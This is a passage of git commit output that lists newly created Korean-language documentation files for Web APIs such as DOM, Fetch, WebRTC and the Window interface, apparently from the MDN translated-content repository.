files/ko/web/api/customevent/customevent/index.html create mode 100644 files/ko/web/api/customevent/index.html create mode 100644 files/ko/web/api/datatransfer/getdata/index.html create mode 100644 files/ko/web/api/datatransfer/index.html create mode 100644 files/ko/web/api/document/adoptnode/index.html create mode 100644 files/ko/web/api/document/alinkcolor/index.html create mode 100644 files/ko/web/api/document/all/index.html create mode 100644 files/ko/web/api/document/anchors/index.html create mode 100644 files/ko/web/api/document/applets/index.html create mode 100644 files/ko/web/api/document/body/index.html create mode 100644 files/ko/web/api/document/characterset/index.html create mode 100644 files/ko/web/api/document/compatmode/index.html create mode 100644 files/ko/web/api/document/cookie/index.html create mode 100644 files/ko/web/api/document/createdocumentfragment/index.html create mode 100644 files/ko/web/api/document/createelement/index.html create mode 100644 files/ko/web/api/document/createelementns/index.html create mode 100644 files/ko/web/api/document/createrange/index.html create mode 100644 files/ko/web/api/document/createtextnode/index.html create mode 100644 files/ko/web/api/document/createtreewalker/index.html create mode 100644 files/ko/web/api/document/defaultview/index.html create mode 100644 files/ko/web/api/document/designmode/index.html create mode 100644 files/ko/web/api/document/doctype/index.html create mode 100644 files/ko/web/api/document/document/index.html create mode 100644 files/ko/web/api/document/documentelement/index.html create mode 100644 files/ko/web/api/document/documenturi/index.html create mode 100644 files/ko/web/api/document/domain/index.html create mode 100644 files/ko/web/api/document/drag_event/index.html create mode 100644 files/ko/web/api/document/dragend_event/index.html create mode 100644 files/ko/web/api/document/dragstart_event/index.html create mode 100644 files/ko/web/api/document/embeds/index.html create mode 100644 files/ko/web/api/document/execcommand/index.html create mode 100644 files/ko/web/api/document/forms/index.html create mode 100644 files/ko/web/api/document/getelementbyid/index.html create mode 100644 files/ko/web/api/document/getelementsbytagname/index.html create mode 100644 files/ko/web/api/document/getelementsbytagnamens/index.html create mode 100644 files/ko/web/api/document/getselection/index.html create mode 100644 files/ko/web/api/document/hasfocus/index.html create mode 100644 files/ko/web/api/document/head/index.html create mode 100644 files/ko/web/api/document/hidden/index.html create mode 100644 files/ko/web/api/document/images/index.html create mode 100644 files/ko/web/api/document/implementation/index.html create mode 100644 files/ko/web/api/document/importnode/index.html create mode 100644 files/ko/web/api/document/index.html create mode 100644 files/ko/web/api/document/keydown_event/index.html create mode 100644 files/ko/web/api/document/keyup_event/index.html create mode 100644 files/ko/web/api/document/links/index.html create mode 100644 files/ko/web/api/document/location/index.html create mode 100644 files/ko/web/api/document/open/index.html create mode 100644 files/ko/web/api/document/queryselector/index.html create mode 100644 files/ko/web/api/document/queryselectorall/index.html create mode 100644 files/ko/web/api/document/readystate/index.html create mode 100644 files/ko/web/api/document/readystatechange_event/index.html create mode 100644 files/ko/web/api/document/referrer/index.html create mode 100644 files/ko/web/api/document/scroll_event/index.html create mode 100644 files/ko/web/api/document/stylesheetsets/index.html create mode 100644 files/ko/web/api/document/url/index.html create mode 100644 files/ko/web/api/document/visibilitychange_event/index.html create mode 100644 files/ko/web/api/document/visibilitystate/index.html create mode 100644 files/ko/web/api/document/write/index.html create mode 100644 files/ko/web/api/document_object_model/events/index.html create mode 100644 files/ko/web/api/document_object_model/examples/index.html create mode 100644 files/ko/web/api/document_object_model/index.html create mode 100644 files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html create mode 100644 files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html create mode 100644 "files/ko/web/api/document_object_model/\354\206\214\352\260\234/index.html" create mode 100644 files/ko/web/api/documentfragment/index.html create mode 100644 files/ko/web/api/documentorshadowroot/activeelement/index.html create mode 100644 files/ko/web/api/documentorshadowroot/index.html create mode 100644 files/ko/web/api/documentorshadowroot/stylesheets/index.html create mode 100644 files/ko/web/api/documenttype/index.html create mode 100644 files/ko/web/api/domobject/index.html create mode 100644 files/ko/web/api/domparser/index.html create mode 100644 files/ko/web/api/domstring/index.html create mode 100644 files/ko/web/api/domtokenlist/contains/index.html create mode 100644 files/ko/web/api/domtokenlist/index.html create mode 100644 files/ko/web/api/dragevent/index.html create mode 100644 files/ko/web/api/element/accesskey/index.html create mode 100644 files/ko/web/api/element/attributes/index.html create mode 100644 files/ko/web/api/element/classlist/index.html create mode 100644 files/ko/web/api/element/classname/index.html create mode 100644 files/ko/web/api/element/click_event/index.html create mode 100644 files/ko/web/api/element/clientheight/index.html create mode 100644 files/ko/web/api/element/clientleft/index.html create mode 100644 files/ko/web/api/element/closest/index.html create mode 100644 files/ko/web/api/element/currentstyle/index.html create mode 100644 files/ko/web/api/element/getattribute/index.html create mode 100644 files/ko/web/api/element/getelementsbyclassname/index.html create mode 100644 files/ko/web/api/element/getelementsbytagname/index.html create mode 100644 files/ko/web/api/element/id/index.html create mode 100644 files/ko/web/api/element/index.html create mode 100644 files/ko/web/api/element/innerhtml/index.html create mode 100644 files/ko/web/api/element/insertadjacenthtml/index.html create mode 100644 files/ko/web/api/element/outerhtml/index.html create mode 100644 files/ko/web/api/element/removeattribute/index.html create mode 100644 files/ko/web/api/element/scrollheight/index.html create mode 100644 files/ko/web/api/element/scrollintoview/index.html create mode 100644 files/ko/web/api/element/tagname/index.html create mode 100644 files/ko/web/api/element/touchcancel_event/index.html create mode 100644 files/ko/web/api/encoding_api/index.html create mode 100644 files/ko/web/api/event/cancelable/index.html create mode 100644 files/ko/web/api/event/cancelbubble/index.html create mode 100644 files/ko/web/api/event/createevent/index.html create mode 100644 files/ko/web/api/event/event/index.html create mode 100644 files/ko/web/api/event/eventphase/index.html create mode 100644 files/ko/web/api/event/index.html create mode 100644 files/ko/web/api/event/istrusted/index.html create mode 100644 files/ko/web/api/event/preventdefault/index.html create mode 100644 files/ko/web/api/event/stopimmediatepropagation/index.html create mode 100644 files/ko/web/api/event/stoppropagation/index.html create mode 100644 files/ko/web/api/event/target/index.html create mode 100644 files/ko/web/api/eventlistener/index.html create mode 100644 files/ko/web/api/eventsource/eventsource/index.html create mode 100644 files/ko/web/api/eventsource/index.html create mode 100644 files/ko/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/ko/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/ko/web/api/eventtarget/eventtarget/index.html create mode 100644 files/ko/web/api/eventtarget/index.html create mode 100644 files/ko/web/api/eventtarget/removeeventlistener/index.html create mode 100644 files/ko/web/api/fetch_api/basic_concepts/index.html create mode 100644 "files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" create mode 100644 files/ko/web/api/fetch_api/index.html create mode 100644 files/ko/web/api/fetchevent/index.html create mode 100644 files/ko/web/api/fetchevent/respondwith/index.html create mode 100644 files/ko/web/api/file/file/index.html create mode 100644 files/ko/web/api/file/index.html create mode 100644 files/ko/web/api/file/name/index.html create mode 100644 files/ko/web/api/file/size/index.html create mode 100644 files/ko/web/api/file/using_files_from_web_applications/index.html create mode 100644 files/ko/web/api/file_and_directory_entries_api/index.html create mode 100644 files/ko/web/api/filelist/index.html create mode 100644 files/ko/web/api/filereader/index.html create mode 100644 files/ko/web/api/filereader/loadend_event/index.html create mode 100644 files/ko/web/api/filereader/readasdataurl/index.html create mode 100644 files/ko/web/api/filereader/readastext/index.html create mode 100644 files/ko/web/api/filereader/result/index.html create mode 100644 files/ko/web/api/formdata/append/index.html create mode 100644 files/ko/web/api/formdata/delete/index.html create mode 100644 files/ko/web/api/formdata/entries/index.html create mode 100644 files/ko/web/api/formdata/formdata/index.html create mode 100644 files/ko/web/api/formdata/get/index.html create mode 100644 files/ko/web/api/formdata/getall/index.html create mode 100644 files/ko/web/api/formdata/has/index.html create mode 100644 files/ko/web/api/formdata/index.html create mode 100644 files/ko/web/api/formdata/keys/index.html create mode 100644 files/ko/web/api/formdata/set/index.html create mode 100644 files/ko/web/api/formdata/values/index.html create mode 100644 files/ko/web/api/gamepad_api/index.html create mode 100644 files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html create mode 100644 files/ko/web/api/geolocation/clearwatch/index.html create mode 100644 files/ko/web/api/geolocation/getcurrentposition/index.html create mode 100644 files/ko/web/api/geolocation/index.html create mode 100644 files/ko/web/api/geolocation/watchposition/index.html create mode 100644 files/ko/web/api/geolocation_api/index.html create mode 100644 files/ko/web/api/geolocationposition/index.html create mode 100644 files/ko/web/api/globaleventhandlers/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onchange/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onclick/index.html create mode 100644 files/ko/web/api/globaleventhandlers/oncontextmenu/index.html create mode 100644 files/ko/web/api/globaleventhandlers/ondblclick/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onkeydown/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onkeyup/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onpointerenter/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onscroll/index.html create mode 100644 files/ko/web/api/globaleventhandlers/onsubmit/index.html create mode 100644 files/ko/web/api/globaleventhandlers/ontouchstart/index.html create mode 100644 files/ko/web/api/history/back/index.html create mode 100644 files/ko/web/api/history/forward/index.html create mode 100644 files/ko/web/api/history/go/index.html create mode 100644 files/ko/web/api/history/index.html create mode 100644 files/ko/web/api/history/length/index.html create mode 100644 files/ko/web/api/history/pushstate/index.html create mode 100644 files/ko/web/api/history/replacestate/index.html create mode 100644 files/ko/web/api/history/scrollrestoration/index.html create mode 100644 files/ko/web/api/history/state/index.html create mode 100644 files/ko/web/api/history_api/index.html create mode 100644 "files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" create mode 100644 "files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" create mode 100644 files/ko/web/api/htmlbrelement/index.html create mode 100644 files/ko/web/api/htmlcanvaselement/getcontext/index.html create mode 100644 files/ko/web/api/htmlcanvaselement/index.html create mode 100644 files/ko/web/api/htmlcollection/index.html create mode 100644 files/ko/web/api/htmlcollection/item/index.html create mode 100644 files/ko/web/api/htmldivelement/index.html create mode 100644 files/ko/web/api/htmldocument/index.html create mode 100644 files/ko/web/api/htmlelement/accesskeylabel/index.html create mode 100644 files/ko/web/api/htmlelement/click/index.html create mode 100644 files/ko/web/api/htmlelement/contenteditable/index.html create mode 100644 files/ko/web/api/htmlelement/dataset/index.html create mode 100644 files/ko/web/api/htmlelement/index.html create mode 100644 files/ko/web/api/htmlelement/input_event/index.html create mode 100644 files/ko/web/api/htmlelement/offsetparent/index.html create mode 100644 files/ko/web/api/htmlelement/outertext/index.html create mode 100644 files/ko/web/api/htmlelement/style/index.html create mode 100644 files/ko/web/api/htmlelement/tabindex/index.html create mode 100644 files/ko/web/api/htmlformelement/index.html create mode 100644 files/ko/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/ko/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/ko/web/api/htmllielement/index.html create mode 100644 files/ko/web/api/htmlmediaelement/autoplay/index.html create mode 100644 files/ko/web/api/htmlmediaelement/canplay_event/index.html create mode 100644 files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html create mode 100644 files/ko/web/api/htmlmediaelement/index.html create mode 100644 files/ko/web/api/htmloptionelement/index.html create mode 100644 files/ko/web/api/htmlselectelement/index.html create mode 100644 files/ko/web/api/htmlselectelement/selectedoptions/index.html create mode 100644 files/ko/web/api/htmlspanelement/index.html create mode 100644 files/ko/web/api/htmltableelement/index.html create mode 100644 files/ko/web/api/htmltableelement/width/index.html create mode 100644 files/ko/web/api/htmltemplateelement/index.html create mode 100644 files/ko/web/api/htmltitleelement/index.html create mode 100644 files/ko/web/api/htmlvideoelement/index.html create mode 100644 files/ko/web/api/idledeadline/didtimeout/index.html create mode 100644 files/ko/web/api/idledeadline/index.html create mode 100644 files/ko/web/api/imagecapture/getphotocapabilities/index.html create mode 100644 files/ko/web/api/imagecapture/getphotosettings/index.html create mode 100644 files/ko/web/api/imagecapture/grabframe/index.html create mode 100644 files/ko/web/api/imagecapture/imagecapture/index.html create mode 100644 files/ko/web/api/imagecapture/index.html create mode 100644 files/ko/web/api/imagecapture/takephoto/index.html create mode 100644 files/ko/web/api/imagecapture/track/index.html create mode 100644 files/ko/web/api/imagedata/index.html create mode 100644 files/ko/web/api/index.html create mode 100644 files/ko/web/api/index/index.html create mode 100644 files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html create mode 100644 files/ko/web/api/indexeddb_api/index.html create mode 100644 files/ko/web/api/indexeddb_api/using_indexeddb/index.html create mode 100644 files/ko/web/api/intersection_observer_api/index.html create mode 100644 files/ko/web/api/intersectionobserver/index.html create mode 100644 files/ko/web/api/intersectionobserver/intersectionobserver/index.html create mode 100644 files/ko/web/api/intersectionobserver/observe/index.html create mode 100644 files/ko/web/api/intersectionobserver/root/index.html create mode 100644 files/ko/web/api/location/index.html create mode 100644 files/ko/web/api/location/reload/index.html create mode 100644 files/ko/web/api/media_streams_api/index.html create mode 100644 files/ko/web/api/mediadevices/enumeratedevices/index.html create mode 100644 files/ko/web/api/mediadevices/getusermedia/index.html create mode 100644 files/ko/web/api/mediadevices/index.html create mode 100644 files/ko/web/api/mediastream_image_capture_api/index.html create mode 100644 files/ko/web/api/mediastreamtrack/applyconstraints/index.html create mode 100644 files/ko/web/api/mediastreamtrack/clone/index.html create mode 100644 files/ko/web/api/mediastreamtrack/enabled/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getcapabilities/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getconstraints/index.html create mode 100644 files/ko/web/api/mediastreamtrack/getsettings/index.html create mode 100644 files/ko/web/api/mediastreamtrack/id/index.html create mode 100644 files/ko/web/api/mediastreamtrack/index.html create mode 100644 files/ko/web/api/mediastreamtrack/kind/index.html create mode 100644 files/ko/web/api/mediastreamtrack/label/index.html create mode 100644 files/ko/web/api/mediastreamtrack/muted/index.html create mode 100644 files/ko/web/api/mediastreamtrack/readystate/index.html create mode 100644 files/ko/web/api/mediastreamtrack/stop/index.html create mode 100644 files/ko/web/api/mediatrackconstraints/index.html create mode 100644 files/ko/web/api/messageevent/index.html create mode 100644 files/ko/web/api/mouseevent/clientx/index.html create mode 100644 files/ko/web/api/mouseevent/index.html create mode 100644 files/ko/web/api/mozmmsevent/index.html create mode 100644 files/ko/web/api/mozmmsmessage/index.html create mode 100644 files/ko/web/api/mozmobilemessagemanager/index.html create mode 100644 files/ko/web/api/mozmobilemessagethread/index.html create mode 100644 files/ko/web/api/mozsmsevent/index.html create mode 100644 files/ko/web/api/mozsmsfilter/index.html create mode 100644 files/ko/web/api/mozsmsmanager/index.html create mode 100644 files/ko/web/api/mozsmsmessage/index.html create mode 100644 files/ko/web/api/mozsmssegmentinfo/index.html create mode 100644 files/ko/web/api/mutationobserver/index.html create mode 100644 files/ko/web/api/navigator/battery/index.html create mode 100644 files/ko/web/api/navigator/geolocation/index.html create mode 100644 files/ko/web/api/navigator/index.html create mode 100644 files/ko/web/api/navigator/mediadevices/index.html create mode 100644 files/ko/web/api/navigator/mozmobilemessage/index.html create mode 100644 files/ko/web/api/navigator/moznotification/index.html create mode 100644 files/ko/web/api/navigator/mozsms/index.html create mode 100644 files/ko/web/api/navigator/registerprotocolhandler/index.html create mode 100644 files/ko/web/api/navigator/share/index.html create mode 100644 files/ko/web/api/navigatorid/index.html create mode 100644 files/ko/web/api/navigatorlanguage/index.html create mode 100644 files/ko/web/api/navigatorlanguage/language/index.html create mode 100644 files/ko/web/api/navigatoronline/index.html create mode 100644 files/ko/web/api/navigatoronline/online_and_offline_events/index.html create mode 100644 files/ko/web/api/networkinformation/connection/index.html create mode 100644 files/ko/web/api/networkinformation/index.html create mode 100644 files/ko/web/api/node/appendchild/index.html create mode 100644 files/ko/web/api/node/childnodes/index.html create mode 100644 files/ko/web/api/node/clonenode/index.html create mode 100644 files/ko/web/api/node/contains/index.html create mode 100644 files/ko/web/api/node/firstchild/index.html create mode 100644 files/ko/web/api/node/haschildnodes/index.html create mode 100644 files/ko/web/api/node/index.html create mode 100644 files/ko/web/api/node/innertext/index.html create mode 100644 files/ko/web/api/node/insertbefore/index.html create mode 100644 files/ko/web/api/node/lastchild/index.html create mode 100644 files/ko/web/api/node/nextsibling/index.html create mode 100644 files/ko/web/api/node/normalize/index.html create mode 100644 files/ko/web/api/node/ownerdocument/index.html create mode 100644 files/ko/web/api/node/previoussibling/index.html create mode 100644 files/ko/web/api/node/replacechild/index.html create mode 100644 files/ko/web/api/node/textcontent/index.html create mode 100644 files/ko/web/api/nodefilter/index.html create mode 100644 files/ko/web/api/nodelist/entries/index.html create mode 100644 files/ko/web/api/nodelist/foreach/index.html create mode 100644 files/ko/web/api/nodelist/index.html create mode 100644 files/ko/web/api/nodelist/item/index.html create mode 100644 files/ko/web/api/nodelist/keys/index.html create mode 100644 files/ko/web/api/nodelist/length/index.html create mode 100644 files/ko/web/api/nodelist/values/index.html create mode 100644 files/ko/web/api/notification/index.html create mode 100644 files/ko/web/api/notification/permission/index.html create mode 100644 files/ko/web/api/notifications_api/index.html create mode 100644 files/ko/web/api/notifyaudioavailableevent/index.html create mode 100644 files/ko/web/api/offscreencanvas/getcontext/index.html create mode 100644 files/ko/web/api/offscreencanvas/height/index.html create mode 100644 files/ko/web/api/offscreencanvas/index.html create mode 100644 files/ko/web/api/offscreencanvas/offscreencanvas/index.html create mode 100644 files/ko/web/api/offscreencanvas/toblob/index.html create mode 100644 files/ko/web/api/offscreencanvas/width/index.html create mode 100644 files/ko/web/api/page_visibility_api/index.html create mode 100644 files/ko/web/api/parentnode/append/index.html create mode 100644 files/ko/web/api/parentnode/childelementcount/index.html create mode 100644 files/ko/web/api/parentnode/children/index.html create mode 100644 files/ko/web/api/parentnode/index.html create mode 100644 files/ko/web/api/parentnode/prepend/index.html create mode 100644 files/ko/web/api/performance/index.html create mode 100644 files/ko/web/api/performance/mark/index.html create mode 100644 files/ko/web/api/performance/now/index.html create mode 100644 files/ko/web/api/performanceentry/index.html create mode 100644 files/ko/web/api/photocapabilities/index.html create mode 100644 files/ko/web/api/plugin/index.html create mode 100644 files/ko/web/api/positionoptions/index.html create mode 100644 files/ko/web/api/push_api/index.html create mode 100644 files/ko/web/api/pushmanager/index.html create mode 100644 files/ko/web/api/pushmessagedata/index.html create mode 100644 files/ko/web/api/range/index.html create mode 100644 files/ko/web/api/range/selectnodecontents/index.html create mode 100644 files/ko/web/api/readablestream/index.html create mode 100644 files/ko/web/api/request/credentials/index.html create mode 100644 files/ko/web/api/request/index.html create mode 100644 files/ko/web/api/request/request/index.html create mode 100644 files/ko/web/api/rtcconfiguration/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/channel/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/index.html create mode 100644 files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html create mode 100644 files/ko/web/api/rtcicecandidate/candidate/index.html create mode 100644 files/ko/web/api/rtcicecandidate/index.html create mode 100644 files/ko/web/api/rtcicecandidate/tojson/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/addicecandidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/addtrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/close/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/connectionstate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/createanswer/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/createdatachannel/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/generatecertificate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getconfiguration/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getreceivers/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/getsenders/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/gettransceivers/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/localdescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/ondatachannel/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onicecandidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/onidentityresult/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/ontrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/removetrack/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/restartice/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setconfiguration/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html create mode 100644 files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html create mode 100644 files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html create mode 100644 files/ko/web/api/rtcpeerconnectioniceevent/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/sdp/index.html create mode 100644 files/ko/web/api/rtcsessiondescription/type/index.html create mode 100644 files/ko/web/api/screen.onorientationchange/index.html create mode 100644 files/ko/web/api/screen/index.html create mode 100644 files/ko/web/api/screen/lockorientation/index.html create mode 100644 files/ko/web/api/screen/orientation/index.html create mode 100644 files/ko/web/api/screen/unlockorientation/index.html create mode 100644 files/ko/web/api/selection/index.html create mode 100644 files/ko/web/api/selection/tostring/index.html create mode 100644 files/ko/web/api/server-sent_events/index.html create mode 100644 files/ko/web/api/service_worker_api/index.html create mode 100644 files/ko/web/api/service_worker_api/using_service_workers/index.html create mode 100644 files/ko/web/api/serviceworker/index.html create mode 100644 files/ko/web/api/serviceworker/onstatechange/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/clients/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html create mode 100644 files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/active/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/installing/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/navigationpreload/index.html create mode 100644 files/ko/web/api/sharedworker/index.html create mode 100644 files/ko/web/api/storage/index.html create mode 100644 files/ko/web/api/storage/key/index.html create mode 100644 files/ko/web/api/storage/length/index.html create mode 100644 files/ko/web/api/storage/removeitem/index.html create mode 100644 files/ko/web/api/storageevent/index.html create mode 100644 files/ko/web/api/streams_api/index.html create mode 100644 files/ko/web/api/streams_api/using_readable_streams/index.html create mode 100644 "files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" create mode 100644 files/ko/web/api/stylesheet/index.html create mode 100644 files/ko/web/api/svgrect/index.html create mode 100644 files/ko/web/api/text/index.html create mode 100644 files/ko/web/api/text/splittext/index.html create mode 100644 files/ko/web/api/text/text/index.html create mode 100644 files/ko/web/api/touch_events/index.html create mode 100644 files/ko/web/api/treewalker/currentnode/index.html create mode 100644 files/ko/web/api/treewalker/index.html create mode 100644 files/ko/web/api/url/createobjecturl/index.html create mode 100644 files/ko/web/api/url/hash/index.html create mode 100644 files/ko/web/api/url/host/index.html create mode 100644 files/ko/web/api/url/hostname/index.html create mode 100644 files/ko/web/api/url/href/index.html create mode 100644 files/ko/web/api/url/index.html create mode 100644 files/ko/web/api/url/origin/index.html create mode 100644 files/ko/web/api/url/password/index.html create mode 100644 files/ko/web/api/url/pathname/index.html create mode 100644 files/ko/web/api/url/port/index.html create mode 100644 files/ko/web/api/url/protocol/index.html create mode 100644 files/ko/web/api/url/revokeobjecturl/index.html create mode 100644 files/ko/web/api/url/search/index.html create mode 100644 files/ko/web/api/url/searchparams/index.html create mode 100644 files/ko/web/api/url/tojson/index.html create mode 100644 files/ko/web/api/url/tostring/index.html create mode 100644 files/ko/web/api/url/url/index.html create mode 100644 files/ko/web/api/url/username/index.html create mode 100644 files/ko/web/api/urlsearchparams/index.html create mode 100644 files/ko/web/api/urlsearchparams/tostring/index.html create mode 100644 files/ko/web/api/urlsearchparams/urlsearchparams/index.html create mode 100644 files/ko/web/api/usvstring/index.html create mode 100644 files/ko/web/api/validitystate/index.html create mode 100644 files/ko/web/api/vreyeparameters/index.html create mode 100644 files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html create mode 100644 files/ko/web/api/web_audio_api/index.html create mode 100644 files/ko/web/api/web_audio_api/using_web_audio_api/index.html create mode 100644 files/ko/web/api/web_storage_api/index.html create mode 100644 files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html create mode 100644 files/ko/web/api/web_workers_api/basic_usage/index.html create mode 100644 files/ko/web/api/web_workers_api/index.html create mode 100644 files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/detect_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/hello_glsl/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/scissor_animation/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/textures_from_code/index.html create mode 100644 files/ko/web/api/webgl_api/cross-domain_textures/index.html create mode 100644 files/ko/web/api/webgl_api/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/webgl_best_practices/index.html create mode 100644 files/ko/web/api/webglrenderbuffer/index.html create mode 100644 files/ko/web/api/webglshader/index.html create mode 100644 files/ko/web/api/webrtc_api/adapter.js/index.html create mode 100644 files/ko/web/api/webrtc_api/index.html create mode 100644 files/ko/web/api/webrtc_api/protocols/index.html create mode 100644 files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/ko/web/api/webrtc_api/using_data_channels/index.html create mode 100644 files/ko/web/api/websocket/index.html create mode 100644 files/ko/web/api/websocket/readystate/index.html create mode 100644 files/ko/web/api/websocket/websocket/index.html create mode 100644 files/ko/web/api/window/alert/index.html create mode 100644 files/ko/web/api/window/beforeunload_event/index.html create mode 100644 files/ko/web/api/window/cancelanimationframe/index.html create mode 100644 files/ko/web/api/window/closed/index.html create mode 100644 files/ko/web/api/window/confirm/index.html create mode 100644 files/ko/web/api/window/console/index.html create mode 100644 files/ko/web/api/window/crypto/index.html create mode 100644 files/ko/web/api/window/customelements/index.html create mode 100644 files/ko/web/api/window/devicepixelratio/index.html create mode 100644 files/ko/web/api/window/document/index.html create mode 100644 files/ko/web/api/window/event/index.html create mode 100644 files/ko/web/api/window/frameelement/index.html create mode 100644 files/ko/web/api/window/getcomputedstyle/index.html create mode 100644 files/ko/web/api/window/getselection/index.html create mode 100644 files/ko/web/api/window/history/index.html create mode 100644 files/ko/web/api/window/index.html create mode 100644 files/ko/web/api/window/innerwidth/index.html create mode 100644 files/ko/web/api/window/length/index.html create mode 100644 files/ko/web/api/window/localstorage/index.html create mode 100644 files/ko/web/api/window/location/index.html create mode 100644 files/ko/web/api/window/matchmedia/index.html create mode 100644 files/ko/web/api/window/name/index.html create mode 100644 files/ko/web/api/window/navigator/index.html create mode 100644 files/ko/web/api/window/open/index.html create mode 100644 files/ko/web/api/window/opener/index.html create mode 100644 files/ko/web/api/window/orientationchange_event/index.html create mode 100644 files/ko/web/api/window/outerwidth/index.html create mode 100644 files/ko/web/api/window/pageyoffset/index.html create mode 100644 files/ko/web/api/window/popstate_event/index.html create mode 100644 files/ko/web/api/window/postmessage/index.html create mode 100644 files/ko/web/api/window/prompt/index.html create mode 100644 files/ko/web/api/window/requestanimationframe/index.html create mode 100644 files/ko/web/api/window/requestidlecallback/index.html create mode 100644 files/ko/web/api/window/resize_event/index.html create mode 100644 files/ko/web/api/window/resizeto/index.html create mode 100644 files/ko/web/api/window/scrollto/index.html create mode 100644 files/ko/web/api/window/scrollx/index.html create mode 100644 files/ko/web/api/window/scrolly/index.html create mode 100644 files/ko/web/api/window/self/index.html create mode 100644 files/ko/web/api/window/sessionstorage/index.html create mode 100644 files/ko/web/api/window/status/index.html create mode 100644 files/ko/web/api/window/stop/index.html create mode 100644 files/ko/web/api/window/toolbar/index.html create mode 100644 files/ko/web/api/window/top/index.html create mode 100644 files/ko/web/api/window/unload_event/index.html create mode 100644 files/ko/web/api/window/window/index.html create mode 100644 files/ko/web/api/windoweventhandlers/index.html create mode 100644 